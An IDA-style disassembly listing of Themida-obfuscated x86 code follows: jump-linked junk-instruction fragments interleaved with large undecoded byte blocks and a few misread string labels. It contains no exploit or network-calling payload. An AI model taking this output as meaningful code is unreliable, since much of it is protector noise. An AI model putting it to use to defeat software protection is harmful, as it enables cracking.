; ---------------------------------------------------------------------------
		db 0BFh
		dd 301575Ah, 5852E9h, 74E58000h, 0B753D5F6h, 5BFD3029h
		dd 0E94DED80h, 3027h
; ---------------------------------------------------------------------------

loc_5489D0:				; CODE XREF: Themida_:0054506Aj
		pop	esp
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		jmp	loc_54EDEA
; ---------------------------------------------------------------------------
		db 50h
		dd 4B8h, 58C70100h, 8B243C87h, 0D2312424h, 0FFE23FE9h
		dd 40558FFh, 51000000h,	4B9h, 59C80100h, 31240433h, 4332404h
		dd 0D2B4E924h, 0EE80FFFFh, 5AF508B6h, 81B1E9h, 20500h
		dd 0E0E90000h, 80FFFFCFh, 0D18897C2h, 59CB005Ah, 800FEB80h
		dd 0C32810EBh, 8010C380h, 50510FC3h, 9AE9EBB0h
		db 0Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_548A47:				; CODE XREF: Themida_:0054ACDEj
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		push	eax
		jmp	loc_5462B7
; ---------------------------------------------------------------------------

loc_548A5D:				; CODE XREF: Themida_:0054EBB1j
		mov	ecx, 142D6472h
		jmp	loc_549DF0
; ---------------------------------------------------------------------------
		db 0FFh
		dd 5B042474h, 5C24048Fh, 840FC009h, 7C32h, 6A7468h, 242C8900h
		dd 0FFE77FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_548A85:				; CODE XREF: Themida_:00545A02j
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_54904F
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 564EBC2Bh, 0FFC67AE9h, 0C8B66FFh, 10736824h,	4890000h
		dd 57AE924h, 0C7300000h, 50D7F658h, 0FFD29FE9h,	28E957FFh
		dd 5E000030h, 7BCEBF57h, 0E98120EAh, 6A09596Ah,	0F6E9F901h
		dd 8100006Ah, 755BDCC6h, 8BF701F8h, 0E9562434h,	67C2h
		dd 3A529205h, 71B20524h, 0D00155A1h, 0A171B22Dh, 52922D55h
		dd 0A9E9243Ah
		db 0E8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_548B03:				; CODE XREF: Themida_:0055003Cj
		add	esp, 4
		movzx	eax, al
		pop	dword ptr [edi+eax*4]
		jmp	loc_544B12
; ---------------------------------------------------------------------------
		db 80h,	0E9h, 52h
		dd 1E9805Bh, 52ADB353h,	0E6C006B6h, 7DF68006h, 76E9C6FEh
		dd 83FFFFF2h, 1C8704C3h, 3F72E924h, 0C3810000h,	3B057880h
		dd 0B4E9C329h
		db 77h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_548B43:				; CODE XREF: Themida_:005479B7j
		pop	edi
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 7D4B2C7Dh
		jmp	loc_54975C
; ---------------------------------------------------------------------------
		dd 0D2F74A5Dh, 0C5E9D2F7h, 81FFFFD7h, 0FB3B4BE9h, 0CCE95B12h
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_548B6F:				; CODE XREF: Themida_:0054D815j
		pop	ebp
		add	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54CFF9
; ---------------------------------------------------------------------------
		dd 0D12F2DBFh, 0EC52E932h, 248BFFFFh, 0BF84E924h, 815BFFFFh
		dd 4C4h, 0FA1CE900h, 0C483FFFFh, 24043304h, 33240431h
		dd 248B2404h, 34E3E924h, 0D3890000h, 3CCBA5Ah, 0DA01FB73h
		dd 3828E9h, 241C8B00h, 81E18951h, 4C1h,	4C18300h, 31240C33h
		dd 0C33240Ch, 0E7C05C24h, 0B7535203h, 5BFE88D1h, 0E9A2B353h
		dd 0FFFFECFFh, 5304C483h, 2BBh,	5BDE0100h, 640368h, 24348900h
		dd 42474FFh, 24048F5Eh,	0D224248Bh, 0E99C243Ch,	0FFFFE5DDh
; ---------------------------------------------------------------------------

loc_548C10:				; CODE XREF: Themida_:0054AB0Cj
		shr	ecx, 7
		neg	ecx
		xor	ecx, 0D7EDF5A1h
		add	esi, ecx
		jmp	loc_549B2E
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 0A1C7241h, 78A9F181h, 11E96136h
		db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_548C33:				; CODE XREF: Themida_:00545583j
		push	edx
		mov	edx, esp
		jmp	loc_546058
; ---------------------------------------------------------------------------
		db 0B8h
		dd 78135011h, 0E958C301h, 2DFh
; ---------------------------------------------------------------------------

loc_548C48:				; CODE XREF: Themida_:0054C4E2j
		push	ecx
		mov	ecx, 23041057h
		and	ebx, ecx
		pop	ecx
		jmp	loc_544D99
; ---------------------------------------------------------------------------
		dw 0D901h
		dd 240C875Bh, 2C1835Ch,	31240C33h, 0C33240Ch, 0F9F65C24h
		dd 0CCB60F66h, 0FFFADCE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_548C75:				; CODE XREF: Themida_:00547E23j
		pop	esi
		jmp	loc_5499ED
; ---------------------------------------------------------------------------
		db 55h
		dd 0D6287FBDh, 2DE9573Fh, 0BB00004Dh, 30084BEFh, 44F8C381h
		dd 0EBC150EDh, 81D3F707h, 783B96C3h, 5BDD8911h,	0FFE699E9h
		dd 240489FFh, 0FFBE65E9h, 5AD788FFh, 0BB65259h,	800AF680h
		dd 1FE923C7h, 89000052h, 0E9512404h, 0FFFFFBA9h, 488FEF81h
		dd 0CF012D5Fh, 488FC781h, 55592D5Fh, 754740BDh,	94BB530Ch
		dd 813F145Fh, 521C0AEBh, 18E3817Eh, 0F777B507h,	7CA2E9DBh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_548CF6:				; CODE XREF: Themida_:00547050j
		mov	ecx, 76F004A7h
		xor	ecx, eax
		pop	eax
		add	edi, 76C93B61h
		jmp	loc_54F68D
; ---------------------------------------------------------------------------
		db 5Ah,	29h, 0DDh
		dd 0FFEA295Bh, 835D2434h, 0D30104C4h, 241C875Ah, 0FFEAE8E9h
		dd 4EC81FFh, 89000000h,	0A2BE2434h, 0B86D390Ch,	5F932B69h
		dd 105h, 3E0C100h, 1DF4E9h, 24148700h, 0E389535Ch, 34B1E952h
		dd 1C8B0000h, 0DEAFE924h, 8B66FFFFh, 0C4812414h, 2, 8B66E830h
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_547305
; ---------------------------------------------------------------------------

loc_548D74:				; CODE XREF: Themida_:0054870Bj
		dec	dl
		not	dl
		shl	dl, 5
		inc	dl
		add	dl, 4Ah
		xor	al, dl
		jmp	loc_549731
; ---------------------------------------------------------------------------

loc_548D87:				; CODE XREF: Themida_:00549FA0j
		mov	esi, 0FFFFFFFFh
		sub	eax, esi
		pop	esi
		jmp	loc_54B774
; ---------------------------------------------------------------------------
		dd 158C201h, 2434FFD7h,	0E389535Ah, 5732B850h, 0E0C161D9h
		dd 18760D04h, 0E0C11DEDh, 0BB043507h, 59E9FEBDh, 5C000056h
		dd 26EBE9h, 0BD4CE900h,	0C381FFFFh, 654D0804h, 68E9DD01h
		db 1Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_548DD3:				; CODE XREF: Themida_:00549B8Aj
		or	eax, eax
		jmp	loc_550DE4
; ---------------------------------------------------------------------------
		dw 4ACh
aAs8s		db '─S╥8Ич$',0
		dd 980DBD00h, 0EA312C1Ch, 0E9D0015Dh, 0FFFFDE53h, 0C781E789h
		dd 4, 0E904C783h, 4443h, 858C288h, 148B66D7h, 2C48324h
		dd 0E7C0D7F6h, 0B5516604h, 0B6526698h, 69A3E925h, 0DBF70000h
		dd 2414F753h, 4DEB815Bh, 0E9F4FA5Dh, 21ADh, 895982Dh, 0E9C729ABh
		dd 0FFFFD8B8h, 4FE968h,	243C8900h, 4BFh, 0F622E900h, 48BFFFFh
		dd 48A8E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_548E5A:				; CODE XREF: Themida_:0054CBD7j
		pop	edi
		mov	edx, [esp]
		jmp	loc_54709C
; ---------------------------------------------------------------------------

loc_548E63:				; CODE XREF: Themida_:005488FDj
		push	dword ptr [esp]
		pop	edx
		jmp	loc_54EA9D
; ---------------------------------------------------------------------------
		dd 0FFBCA1E9h, 48B66FFh, 689BE924h, 0C890000h, 6ABF5724h
		dd 897C1E30h, 243C8BF9h, 4C481h, 0EE810000h, 283710E0h
		dd 0C681CE29h, 283710E0h, 53240C8Bh, 0C381E389h, 4, 8704C383h
		dd 9BE9241Ch, 89000023h, 0E789243Ch, 4EC81h, 34890000h
		dd 9CE95024h, 87FFFFC7h, 815C240Ch, 4C6h, 2EE8100h, 0E9000000h
		dd 0FFFFD70Ah, 0BA34B40Dh, 4410E962h, 0E9570000h, 5D8Fh
		dd 9E939668h, 243C8B3Fh, 3104C483h, 45CBE9F8h, 0D0290000h
		dd 1BFE2D5Ah, 32D6E5Ch,	2951D725h, 250305D0h, 0FE0551D7h
		dd 56E5C1Bh, 2E081CF7h,	66C3315Ah, 0EBE9008Fh, 0F7FFFFBBh
		dd 0E95750D3h, 2922h
; ---------------------------------------------------------------------------

loc_548F30:				; CODE XREF: Themida_:00549E9Aj
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5510B6
; ---------------------------------------------------------------------------

loc_548F3F:				; CODE XREF: Themida_:0054FB5Dj
		dec	esi
		add	esi, 2E21033Dh
		push	ebx
		mov	ebx, 77E615EEh
		jmp	loc_54AEBC
; ---------------------------------------------------------------------------
		db 52h,	89h, 0F2h
		dd 2881E9h, 0D1E95E00h,	8B00005Bh, 0C4812414h, 4, 43B2C381h
		dd 0FB010BB5h, 43B2EB81h, 45E90BB5h, 6,	0E82859C8h, 0C8B0D2Ch
		dd 34066824h, 4890000h,	2128E924h, 148B0000h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		imul	cx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_54F744
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 4C481h, 3C870000h, 8B665C24h, 0EC832404h, 240C8904h
		dd 0A4E95954h, 5800002Fh, 0B951h, 0F1290000h, 3533E9h
		dd 48B6600h, 40F1E924h,	885A0000h, 0D4E958C1h, 52000038h
		dd 75460068h, 0EEE95A1Ah, 8100006Dh, 4C3h, 241C8700h, 2404315Ch
		dd 0FFBAF1E9h, 24148BFFh, 0E9E68956h, 2695h, 0B9515854h
		dd 4, 393C1C05h, 2DC80142h, 42393C1Ch, 0E7895759h, 4C781h
		dd 45E90000h
		db 5Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54904F:				; CODE XREF: Themida_:00548A91j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 23F95E54h
		or	edx, 2A133E66h
		sub	edx, 448451F3h
		jmp	loc_550D88
; ---------------------------------------------------------------------------
		db 0B5h
		dd 3EDC044h, 0E906EDC0h, 0FFFFBBE6h
; ---------------------------------------------------------------------------

loc_549078:				; CODE XREF: Themida_:0054B17Bj
		pop	edi
		or	eax, eax
		jmp	loc_54C741
; ---------------------------------------------------------------------------

loc_549080:				; CODE XREF: Themida_:0054F25Dj
		push	edx
		jmp	loc_54D4A2
; ---------------------------------------------------------------------------
		dw 5166h
		dd 0FFCB73E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54908D:				; CODE XREF: Themida_:0054B320j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_54F291
; ---------------------------------------------------------------------------
		db 81h
		dd 987380F7h, 2EFC12Bh,	70AFE9h, 73D2BB00h, 0D801FFCFh
		dd 58C2015Bh, 7BF5E9h
		db 0
; ---------------------------------------------------------------------------

loc_5490B9:				; CODE XREF: Themida_:0054C57Bj
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_546970
; ---------------------------------------------------------------------------

loc_5490CF:				; CODE XREF: Themida_:00546770j
		add	esi, edi
		jmp	loc_5497CE
; ---------------------------------------------------------------------------
		dw 1C89h
aHr		db '$hЮ`',0
		align 2
		dw 489h
aW_4qsV		db '$╦жw.4QИ╫V',0
		align 4

loc_5490EC:				; CODE XREF: Themida_:0054A468j
		mov	edi, [esp]
		add	esp, 4
		shr	eax, 7
		push	edx
		mov	edx, 56624603h
		or	edx, 31FC6144h
		xor	edx, 88FE6E11h
		add	eax, edx
		pop	edx
		and	ecx, eax
		jmp	loc_55046B
; ---------------------------------------------------------------------------

loc_549111:				; CODE XREF: Themida_:0054A33Dj
		add	edi, 1C665B66h
		mov	ebx, edi
		jmp	loc_545CCC
; ---------------------------------------------------------------------------
		dw 0D101h
		dd 5A2434FFh, 4C481h, 0C330000h, 240C3124h, 8B240C33h
		dd 0F662424h, 5166C8AFh, 0D96E99Ch, 3C680000h, 89000025h
		dd 74FF2414h, 3FE90424h, 81FFFFFEh, 916A1BC2h, 0EA814A12h
		dd 1, 2FFCE9h, 0EAE98100h, 1D43BEFh, 0E4E959CBh, 81000028h
		dd 0DA0743C3h, 28F3813Ah, 816CC10Eh, 68C07BF3h,	8BDA013Fh
		dd 0C481241Ch, 4, 0FFB97DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_549195:				; CODE XREF: Themida_:0054F2F9j
		sub	eax, ebx
		jmp	loc_54A700
; ---------------------------------------------------------------------------
		dd 2474FF51h, 0A9CE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5491A6:				; CODE XREF: Themida_:00550249j
		shl	edi, 3
		sub	edi, 0E722F52Dh
		mov	ebp, edi
		jmp	loc_5505F2
; ---------------------------------------------------------------------------
		dw 0E889h
		dd 81242C8Bh, 4C4h, 0E8C14000h,	44B33508h, 0C2318ABBh
		dd 5AD30158h, 2C381h, 0E9530000h, 859h
; ---------------------------------------------------------------------------

loc_5491DC:				; CODE XREF: Themida_:00549B01j
		push	edi
		jmp	loc_54BFD4
; ---------------------------------------------------------------------------
		dw 555Eh
		dd 380CE9h, 4C18300h, 5C240C87h, 77E768h, 241C8900h, 0DEE95B54h
		dd 81000038h, 4C2h, 4EA8300h, 5C241487h, 54242C89h, 0E9242C8Bh
		dd 553Ah, 0E0EF8159h, 103C652h,	0E0C781DFh, 0E903C652h
		dd 1341h, 8904EC83h, 0B0E92404h, 81FFFFEFh, 4C4h, 24348700h
		dd 2424D35Ch, 0FFB8C9E9h, 88EA81FFh, 0E9BB523Fh, 0Ch, 5AD6015Bh
		dd 0E906E6C1h, 736Fh, 58B0C581h, 52E90673h, 0FFFFCEh, 0F82858C7h
		dd 241C8B66h, 5202C483h, 0F68FB450h, 17EC80DCh,	0C0E9E288h
		dd 5F00005Bh, 350DE957h, 7FE90000h, 66FFFFB8h, 8124048Bh
		dd 4ECh, 241C8900h, 523EE9h, 0E2895200h, 4C281h, 0C2810000h
		dd 4, 5C241487h, 0E9515750h, 0FFFFD216h, 2E8C15Bh, 0FFEAEDE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5492C9:				; CODE XREF: Themida_:00549BD2j
		xor	[esp+4], edx
		pop	edx
		jmp	loc_54E56B
; ---------------------------------------------------------------------------
		db 68h
		dd 5D6Eh, 83242489h, 5B042404h,	4C381h,	0BA520000h, 3DDF4F49h
		dd 4599E9h, 0B81CE900h,	0FF51FFFFh, 59042474h, 8B24048Fh
		dd 0BF0F2424h, 5CCD68C8h, 0C890000h, 0B800E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_549312:				; CODE XREF: Themida_:0054EBEEj
		push	ecx
		mov	ch, 3
		jmp	loc_545868
; ---------------------------------------------------------------------------
		dw 1CF7h
		dd 0EE99C24h, 83000021h, 71E902C1h, 53FFFFFEh, 3B532FBBh
		dd 0BAE9562Dh
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_549337:				; CODE XREF: Themida_:0054CE12j
		pop	esi
		add	ebx, 48714655h
		sub	ebx, 98D5F08h
		push	edi
		mov	edi, 1BB61388h
		jmp	loc_5465C5
; ---------------------------------------------------------------------------

loc_54934F:				; CODE XREF: Themida_:0054D01Bj
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		xor	ebp, [esp]
		jmp	loc_5471F8
; ---------------------------------------------------------------------------

loc_54935E:				; CODE XREF: Themida_:0054B555j
		pop	ebx
		or	eax, eax
		jz	loc_550BE6
		push	dword ptr [edi+1Ch]
		jmp	loc_5450B8
; ---------------------------------------------------------------------------
		db 89h
		dd 0FCBF243Ch, 8173454Eh, 0B06857F7h, 0C45E928h, 8BE90000h
		dd 55FFFFB7h, 4EC81h, 8F540000h, 4832404h, 815D0424h, 4ECh
		dd 24148900h, 0E63C3EBAh, 5EAC12Bh, 0EA81D2F7h,	5BDF42C5h
		dd 75F7F281h, 814A70C4h, 906F43C2h, 0CFCA8160h,	0E9714A7Dh
		dd 2E5Eh, 0E924048Bh, 3B0h
; ---------------------------------------------------------------------------

loc_5493D0:				; CODE XREF: Themida_:0055002Cj
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_545195
; ---------------------------------------------------------------------------

loc_5493E1:				; CODE XREF: Themida_:0054D543j
		push	7C57h
		jmp	loc_549DFA
; ---------------------------------------------------------------------------
		db 81h
		dd 4C3h, 0F3F5E900h, 0C829FFFFh, 70E2BB53h, 16E97F69h
		dd 8BFFFFC8h, 0F0E92434h
		db 37h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54940B:				; CODE XREF: Themida_:00546503j
		mov	edi, 4DAF7530h
		xor	edi, 4402660h
		shl	edi, 5
		or	edi, 24203047h
		push	edx
		mov	edx, 47531F12h
		or	edx, 2F10780Ah
		xor	edx, 52B90559h
		xor	edi, edx
		pop	edx
		add	ebx, edi
		jmp	loc_5456B4
; ---------------------------------------------------------------------------
		db 0B2h
		dd 8E2C06Eh, 0FE7CF280h, 789DE9C2h, 0C7810000h,	4, 6C7368h
		dd 24048900h, 2B8h, 8BC70100h, 0C4832404h, 243C8704h, 0C8B665Ch
		dd 4EC8124h, 89000000h,	91E9240Ch
		db 7Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54947B:				; CODE XREF: Themida_:0054D2F1j
		add	ebp, 4
		push	2786h
		mov	[esp], edx
		jmp	loc_546D2A
; ---------------------------------------------------------------------------

loc_54948E:				; CODE XREF: Themida_:0054FD1Dj
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	6A06h
		jmp	loc_549935
; ---------------------------------------------------------------------------

loc_5494A2:				; CODE XREF: Themida_:0054DA09j
		mov	[esp], ecx
		push	eax
		jmp	loc_547B24
; ---------------------------------------------------------------------------
		db 89h
		dd 0D4682414h, 5A050672h, 6631CA81h, 0CA810F71h, 2B95456h
		dd 8D7AC281h, 40E9594Fh, 81000027h, 9D070AC3h, 0C381435Dh
		dd 0EEFD492Fh, 0E1E9D801h
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5494DF:				; CODE XREF: Themida_:005499CBj
		mov	edx, 4CB43C7Ah
		add	edx, 0B34BC38Ah
		add	ecx, edx
		pop	edx
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_54B02B
; ---------------------------------------------------------------------------

loc_5494FB:				; CODE XREF: Themida_:0054BAB1j
		push	edx
		push	edi
		mov	edi, 4429157Fh
		push	edi
		jmp	loc_550B58
; ---------------------------------------------------------------------------
		dd 9D1C77FFh, 4105866h,	0FBE99C24h, 0BDFFFFB5h,	4, 4FE9EE01h
		db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_549523:				; CODE XREF: Themida_:005451A1j
		xor	ecx, 40100C12h
		add	[edi+24h], ecx
		mov	ecx, [esp]
		add	esp, 4

loc_549535:				; CODE XREF: Themida_:005503A8j
		sub	esp, 4
		mov	[esp], edx
		push	ecx
		push	69E5h
		jmp	loc_5455FC
; ---------------------------------------------------------------------------

loc_549549:				; CODE XREF: Themida_:00549FD2j
		push	dword ptr [esp+4]
		mov	edi, [esp]
		jmp	loc_544C21
; ---------------------------------------------------------------------------

loc_549555:				; CODE XREF: Themida_:0054971Aj
		sub	ebp, 0DFCE8ED0h
		shr	ebp, 1
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		and	ebp, 40E8092Ch
		or	ebp, 31D34109h
		add	ebp, 8E0CBEFBh
		add	ecx, 603C757Bh
		add	ecx, ebp
		sub	ecx, 603C757Bh
		jmp	loc_5466E5
; ---------------------------------------------------------------------------
		db 68h
		dd 2513h, 81242489h, 42404h, 2C8B0000h,	4C48324h, 4C581h
		dd 0BE560000h, 2, 49B3E9h, 12ED6800h, 0C890000h, 21B75324h
		dd 0E9C4EF80h, 6D72h, 0B951h, 0E1E90000h, 4900003Bh, 6B31F181h
		dd 0C8897BEBh, 0CED8159h, 1049E37h, 0CC581C5h, 58049E37h
		dd 31242C33h, 2C33242Ch, 11E95C24h, 6600003Ch, 6663B105h
		dd 667C0205h, 667E852Dh, 0E957F029h, 4ED2h
; ---------------------------------------------------------------------------

loc_549608:				; CODE XREF: Themida_:00545E11j
		not	dh
		add	dh, 83h
		sub	dh, 0C2h
		push	eax
		jmp	loc_54CEEC
; ---------------------------------------------------------------------------
		dw 433h
		dd 0C4835C24h, 24042904h, 0B4ECE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_549626:				; CODE XREF: Themida_:005489AEj
		sub	bl, 1Ah
		mov	cx, [esp]
		add	esp, 2
		push	6CD3h
		mov	[esp], ecx
		jmp	loc_546B62
; ---------------------------------------------------------------------------
		db 89h,	0E7h, 81h
		dd 4C7h, 4C78300h, 34F3E957h, 34FF0000h, 2434FF24h, 8124048Bh
		dd 4C4h, 91E95700h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_549663:				; CODE XREF: Themida_:005501BCj
		and	edx, 779B7BA9h
		add	edx, 0BA6CAF5Bh
		add	ebp, 3ED236BAh
		sub	ebp, 6CDA19F4h
		add	ebp, edx
		add	ebp, 6CDA19F4h
		sub	ebp, 3ED236BAh
		mov	edx, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		shr	ecx, 2
		push	2580h
		mov	[esp], ebx
		xor	dword ptr [esp], 2D507D58h
		push	dword ptr [esp]
		jmp	loc_545D63
; ---------------------------------------------------------------------------
		dd 53FBB151h, 0DBF62BB3h, 2C02B050h, 3E8C036h, 2EC81h
		dd 0BBE90000h, 1000052h, 0C2835EF2h, 4EC8304h, 0FF241489h
		dd 5A042474h, 0FFC48FE9h, 0F6D0F6FFh, 4A12CD8h,	34FB2C44h
		dd 58C588FFh, 0C8BEB28h, 262E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5496FA:				; CODE XREF: Themida_:00548594j
		pop	esi
		push	edi
		push	436F2AB6h
		jmp	loc_54DB0C
; ---------------------------------------------------------------------------

loc_549706:				; CODE XREF: Themida_:00547F15j
		shl	ebp, 3
		neg	ebp
		or	ebp, 3C176C4Ah
		add	ebp, 60DD08F8h
		shr	ebp, 5
		jmp	loc_549555
; ---------------------------------------------------------------------------
		db 5Eh
		dd 2B850h, 0EB810000h, 33D94445h, 512BE9h
		db 0
; ---------------------------------------------------------------------------

loc_549731:				; CODE XREF: Themida_:00548D82j
		pop	edx
		sub	bl, 0BCh
		sub	bl, al
		jmp	loc_54FFF8
; ---------------------------------------------------------------------------
		dd 65ADE581h, 0BB5348C9h, 3C9027D1h, 4302E3C1h,	0FFCE1AE9h
		dd 58C501FFh, 0E9242C33h, 5203h
; ---------------------------------------------------------------------------

loc_54975C:				; CODE XREF: Themida_:00548B53j
		dec	esi
		jmp	loc_54676A
; ---------------------------------------------------------------------------

loc_549762:				; CODE XREF: Themida_:0054AD88j
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		add	edx, ecx
		pop	ecx
		and	eax, edx
		mov	edx, [esp]
		add	esp, 4
		or	edx, eax
		jmp	loc_550239
; ---------------------------------------------------------------------------
		dd 4C481h, 2C870000h, 0D3665C24h, 0E99C2424h, 0FFFFB37Eh
		dd 24048F5Bh, 2434FF5Ch, 81240C8Bh, 4C4h, 0CFCBE900h, 63E9FFFFh
		dd 0BEFFFFB3h, 6E3A669Ch, 0C15EF309h, 0B4E908EBh
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5497BF:				; CODE XREF: Themida_:00544B27j
		sub	al, 0A1h
		mov	ebx, [esp]
		add	esp, 4
		add	al, bl
		jmp	loc_5450A0
; ---------------------------------------------------------------------------

loc_5497CE:				; CODE XREF: Themida_:005490D1j
		pop	edi
		push	245Dh
		mov	[esp], ebx
		mov	ebx, 19491B03h
		neg	ebx
		and	ebx, 108C53C4h
		push	edi
		mov	edi, 776F281Dh
		or	edi, 70391268h
		or	edi, 3D6C66EFh
		neg	edi
		xor	edi, 1E743827h
		shl	edi, 6
		add	edi, 6C6916D4h
		xor	ebx, edi
		pop	edi
		add	esi, ebx
		pop	ebx
		or	esi, 3CDA63D9h
		push	eax
		push	0FCDE6BFFh
		mov	eax, [esp]
		add	esp, 4
		sub	esi, eax
		mov	eax, [esp]
		add	esp, 4
		and	ecx, esi
		pop	esi
		shr	ecx, 0Bh
		jmp	loc_54D68E
; ---------------------------------------------------------------------------

loc_549835:				; CODE XREF: Themida_:0054B026j
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_546D19
; ---------------------------------------------------------------------------
aVsEmIS?	db 'VS╩|e▄╡┴чИ#?',0
		db 0
; ---------------------------------------------------------------------------

loc_549851:				; CODE XREF: Themida_:00548612j
		sub	edx, ebp
		pop	ebp
		or	edi, edx
		pop	edx
		jmp	loc_5463BD
; ---------------------------------------------------------------------------
		dd 4C481h, 0FF570000h, 0E9042474h, 32BFh, 0DDF659B5h, 801CF580h
		dd 0C58089F5h, 40CD80E5h, 0F608EDC0h, 2E5C0D5h,	6AE95266h
		dd 87000018h, 15C243Ch,	47E959C8h, 81000002h, 4C2h, 3142E900h
		dd 5B0000h, 19E95AF0h, 4000030h, 685B6686h, 75ABh, 4A26E9h
		dd 68535000h, 50B06EBh,	39EB815Bh, 0E90277B2h, 5A54h
; ---------------------------------------------------------------------------

loc_5498CC:				; CODE XREF: Themida_:0054D42Aj
		neg	eax
		dec	eax
		inc	eax
		sub	eax, 3A692A07h
		jmp	loc_54FB2C
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48324h, 1B81E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5498E6:				; CODE XREF: Themida_:0054DD77j
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edi
		mov	edi, esp
		push	ecx
		mov	ecx, 4
		add	edi, ecx
		pop	ecx
		push	edx
		mov	edx, 4
		add	edi, edx
		pop	edx
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		push	ebp
		push	esi
		jmp	loc_54C06B
; ---------------------------------------------------------------------------

loc_54991B:				; CODE XREF: Themida_:005505B5j
		push	small word ptr [eax]
		jmp	loc_544B12
; ---------------------------------------------------------------------------
		db 5Dh
		dd 5C243C87h, 0BB241C89h, 74FE6151h, 6BE0E9h
		db 0
; ---------------------------------------------------------------------------

loc_549935:				; CODE XREF: Themida_:0054949Dj
		mov	[esp], eax
		mov	eax, esp
		push	ecx
		mov	ecx, 20D93CFCh
		jmp	loc_550C9A
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 8304C483h, 348702C6h, 0D3665C24h, 0E99C243Ch, 20C7h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_549F6A
; ---------------------------------------------------------------------------

loc_549964:				; CODE XREF: Themida_:0054FE3Aj
		mov	esp, [esp]
		push	ebx
		mov	ebx, 48C603D1h
		jmp	loc_54CC8F
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 243C8904h, 4EC81h, 34890000h, 0E9C68924h, 5693h, 2BBh
		dd 8BDE0100h, 0C481241Ch, 4, 31243433h,	34332434h, 6478E924h
		dd 34890000h, 0BAF3E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5499AE:				; CODE XREF: Themida_:005503BEj
		mov	ebx, 3F4B0F76h
		mov	ebp, ebx
		pop	ebx
		xor	ebp, 63D86606h
		inc	ebp
		shl	ebp, 4
		shl	ebp, 2
		jmp	loc_5452CD
; ---------------------------------------------------------------------------

loc_5499C8:				; CODE XREF: Themida_:00550102j
		mov	ecx, esp
		push	edx
		jmp	loc_5494DF
; ---------------------------------------------------------------------------
		dd 0E389535Bh, 4C381h, 70E90000h, 8100005Eh, 17DF9EEh
		dd 242C8B6Ch, 72B9E9h
		db 0
; ---------------------------------------------------------------------------

loc_5499ED:				; CODE XREF: Themida_:00548C76j
		not	edx
		jmp	loc_54B72E
; ---------------------------------------------------------------------------
		dd 2268C681h, 0F68120D0h, 27242C66h, 0D88AEE81h, 0F0010FFCh
		dd 0BA21E95Eh, 0EB87FFFFh, 0FFFFEB81h, 0E94BFFFFh, 0FFFFD367h
		dd 5159EF30h, 0B4E914B5h, 66000016h, 0E924048Bh, 6D7Ch
; ---------------------------------------------------------------------------

loc_549A30:				; CODE XREF: Themida_:0054D482j
		jmp	loc_544B12
